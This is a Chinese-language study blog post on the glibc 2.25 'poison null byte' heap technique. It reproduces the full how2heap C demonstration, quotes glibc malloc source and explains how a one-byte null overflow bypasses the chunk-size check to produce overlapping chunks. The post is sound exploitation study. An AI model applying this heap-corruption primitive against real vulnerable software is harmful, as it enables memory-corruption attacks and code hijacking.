通过 glibc2.25 学习 poison_null_byte

前言:哎呦呵,今天又能多进步一点了。

这又是一个构造的例子,重点在于一个已经 free 掉的 chunk 里面,malloc 一个小的 chunk 会发生什么,而且 free 掉一个构造的 chunk 又会有哪些之间没有接触过的检查。

让我们开始吧!

0X00 例子

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>


int main()
{
    fprintf(stderr, "Welcome to poison null byte 2.0!\n");
    fprintf(stderr, "Tested in Ubuntu 14.04 64bit.\n");
    fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
    fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1;
    uint8_t* b2;
    uint8_t* d;
    void *barrier;

    fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n");
    a = (uint8_t*) malloc(0x100);
    fprintf(stderr, "a: %p\n", a);
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
        "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

    /* chunk size attribute cannot have a least significant byte with a value of 0x00.
     * the least significant byte of this will be 0x10, because the size of the chunk includes
     * the amount requested plus some amount required for the metadata. */
    b = (uint8_t*) malloc(0x200);

    fprintf(stderr, "b: %p\n", b);

    c = (uint8_t*) malloc(0x100);
    fprintf(stderr, "c: %p\n", c);

    barrier =  malloc(0x100);
    fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
        "The barrier is not strictly necessary, but makes things less confusing\n", barrier);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);

    // added fix for size==prev_size(next_chunk) check in newer versions of glibc
    // https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
    // this added check requires we are allowed to have null pointers in b (not just a c string)
    //*(size_t*)(b+0x1f0) = 0x200;
    fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
        "the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
    // we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
    // which is the value of b.size after its first byte has been overwritten with a NULL byte
    *(size_t*)(b+0x1f0) = 0x200;

    // this technique works by overwriting the size metadata of a free chunk
    free(b);
    
    fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
    fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n");
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);

    uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);

    // This malloc will result in a call to unlink on the chunk where b was.
    // The added check (commit id: 17f487b), if not properly handled as we did before,
    // will detect the heap corruption now.
    // The check is this: chunksize(P) != prev_size (next_chunk(P)) where
    // P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
    // next_chunk(P) == b-0x10+0x200 == b+0x1f0
    // prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
    fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
        *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);

    fprintf(stderr, "b1: %p\n",b1);
    fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
        "At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
    fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
        "before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
    fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n");
    // Typically b2 (the victim) will be a structure with valuable pointers that we want to control

    b2 = malloc(0x80);
    fprintf(stderr, "b2: %p\n",b2);

    memset(b2,'B',0x80);
    fprintf(stderr, "Current b2 content:\n%s\n",b2);

    fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

    free(b1);
    free(c);
    
    fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
    d = malloc(0x300);
    fprintf(stderr, "d: %p\n",d);
    
    fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
    memset(d,'D',0x300);

    fprintf(stderr, "New b2 content:\n%s\n",b2);

    fprintf(stderr, "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
        "for the clear explanation of this technique.\n");
}

0X01 手动调试并讲解原理

首先我在调试这个的时候,弄错了一个东西:「空间复用」

比如下面这个例子:

// 64 位
// gcc test.c -o test
#include <stdio.h>
#include <stdlib.h>

int main()
{
    void *a = malloc(0x20);
    void *b = malloc(0x20);

    printf("%ld", b - a);

    return 0;
}

我原来记得是,b 是高地址的 chunk。会在计算 size 的时候,把 a 的 prev_size 也算上。也就是说 b - a 相差是 0x28 但是答案是 48(0x30)。

也就是说,prev_size 没有算上。

原因是:这个 size 正好是 16 的整数倍数,如果不是 16 的整数倍就会出现空间复用的情况

free(b);

现在 unsorted bin 中有了 b 这个 chunk,并且他的下一个 chunk c 标记了前面那个 chunk 被 free 了

这个就是 c chunk 的结构体大小为 0x110,并标记上一个 chunk b 被 free 了。

接下来就是我们这个漏洞的关键了!

a[real_a_size] = 0;

因为下一个 chunk 的 prev_size 在上一个 chunk 被使用的时候,可以被占用。所以 real_a_size 比用户请求的 size 要大。64 位大 8,32 位大 4。

在这里我们假设的是,我们可以溢出一个 Byte。且溢出的这个 Byte 为 0。这样的话,原来在这里的 size(0x210) 就被溢出为 0x200

现在!我们如果再 malloc 一个在 b size 范围之内的 chunk 会怎么样。我们来调试:

进入 _int_malloc 中:

准备从 unsorted bin 中拿出来:

把拿出来的 chunk 放入 small bin 中:

注意!此时的 size 已经是 0x200 了。并没有什么检查,现在开始遍历所有的 bin 直到找到合适的 chunk。

*(size_t*)(b+0x1f0) = 0x200;

我在调试的时候,并没有法线什么特别的检查,并不知道这个语句有什么特别的用,直到我再仔细的读了这个注释。

    // This malloc will result in a call to unlink on the chunk where b was.
    // The added check (commit id: 17f487b), if not properly handled as we did before,
    // will detect the heap corruption now.
    // The check is this: chunksize(P) != prev_size (next_chunk(P)) where
    // P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
    // next_chunk(P) == b-0x10+0x200 == b+0x1f0
    // prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200

知道了 chunksize(P) != prev_size (next_chunk(P)) 可能有也可能没有。所以为了保险起见我们加上:

*(size_t*)(b+0x1f0) = 0x200;

绕过这个检查。

由于我们有一个 chunk 能够保存 split 满足这次请求,所以我们的代码到了这里:

              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb);

                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);
                  fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
                    {
                      errstr = "malloc(): corrupted unsorted chunks 2";
                      goto errout;
                    }
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;

                  /* advertise as last remainder */
                  if (in_smallbin_range (nb))
                    av->last_remainder = remainder;
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }

我概述一下这里做了什么:

  • remainder 是当前足够大的 chunk 分配请求以后,还剩下的内存指针
  • 接着 remainder 插入 unsorted bin 中
  • 并且 av->last_remainder = remainder
  • 最后 set_head 和 set_foot

由于 size 减少了 0x10,也就并没有修改 c 的 prev_size 的值。

现在假设我想完全控制另一个指针指的 chunk 内容,只需创建创建一个小于 remainder_size 的chunk b2,然后 free 掉 c

由于 c 的 size 没有改变,会触发向前 malloc_consolidate,把所有的之前的 chunk 合并在一起。其中就包括 b2。

如果此时 malloc() 一个较大的 chunk 就会利用这个 chunk 并且把 b2 所指向的 chunk 覆盖掉。达到控制 b2 所有的内容的目的。

0X02 总结一下

这个漏洞关键在于溢出一个 Byte 到 size 上,达到控制 size 的目的。另外一个关键在与能控制下一个 chunk 的 size,prev_chunk_inuse 位。

完结撒花。。。最后总结写得很急,因为我想睡觉了。。。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 196,165评论 5 462
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 82,503评论 2 373
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 143,295评论 0 325
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,589评论 1 267
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,439评论 5 358
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,342评论 1 273
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,749评论 3 387
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,397评论 0 255
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,700评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,740评论 2 313
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,523评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,364评论 3 314
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,755评论 3 300
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,024评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,297评论 1 251
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,721评论 2 342
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,918评论 2 336

推荐阅读更多精彩内容